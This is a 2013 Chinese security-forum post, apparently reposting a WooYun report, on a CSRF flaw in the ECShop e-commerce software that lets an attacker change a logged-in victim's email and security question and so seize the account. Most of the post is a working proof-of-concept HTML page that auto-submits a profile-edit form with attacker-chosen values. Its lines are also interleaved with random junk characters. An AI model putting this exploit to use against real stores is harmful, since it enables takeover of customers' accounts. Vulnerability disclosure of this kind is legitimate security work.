找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2178|回复: 0
打印 上一主题 下一主题

ecshop修改任意用户密码漏洞的CSRF利用

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-20 08:30:14 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:5 ~& |/ R# H) b! S- |
ecshop在设计认证机制的时候存在一个问题,导致恶意用户可以窃取其他用户的密码,这个过程可以通过xss和csrf实现
, y8 I9 v7 h; y. h
, F1 D* A5 g3 x: nDemo For:http://www.wooyun.org/bug.php?action=view&id=395! m# _+ A) R1 i7 b9 }+ ^& a

' d, b# n- q9 C# ~# Y详细说明:
) u0 x) {2 h- K* f6 S利用csrf和xss可以突破官方所说的“障碍”5 D4 ^  g$ z: H! A
xss版本已经有人说明: }/ G+ {3 r4 D% u
这里给出csrf版本
) z6 e8 }" \' |' q( d: i
( Z- K5 @; N9 {* |漏洞证明:
" J, d5 E- x$ Y2 J. X/ H3 B<html>6 g3 |2 M$ u" e) ?+ X% \7 |/ e
<body>; J7 {- N  n- j+ R3 f4 H2 M2 f. I
<form action="http://www.wooyun.org/ecshop/user.php" method="POST">* s$ X! k) f/ l/ r
<INPUT TYPE="text" NAME="email" value="hack@wooyun.org">
7 P! {4 U. Q$ a<INPUT TYPE="text" NAME="act" value="act_edit_profile">6 u6 _- E1 A5 f  r3 u; H% {) _
<INPUT TYPE="text" NAME="sel_question" value="ecshop">
" {" w5 \% j; V& A! ^- m: H<INPUT TYPE="text" NAME="passwd_answer" value="exploit">
$ H3 i4 H. _) N</body>
# h* J: R$ H7 _- R. E# K<script>
, B2 ?# u( s1 k  {# a/ t& Ndocument.forms[0].submit();2 }% V7 F0 e: Z6 P( M" x$ G! C( w& S, l
</script>) Z6 f% n& p+ a
</html>5 [: T; ?5 C- H, h3 P" O0 Z
构造该网页,用户在登录情况下访问该网页将导致email以及一些其他安全信息丢失. ]2 l) r$ K& S$ u3 |
/ h+ i* s( R- Y7 b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表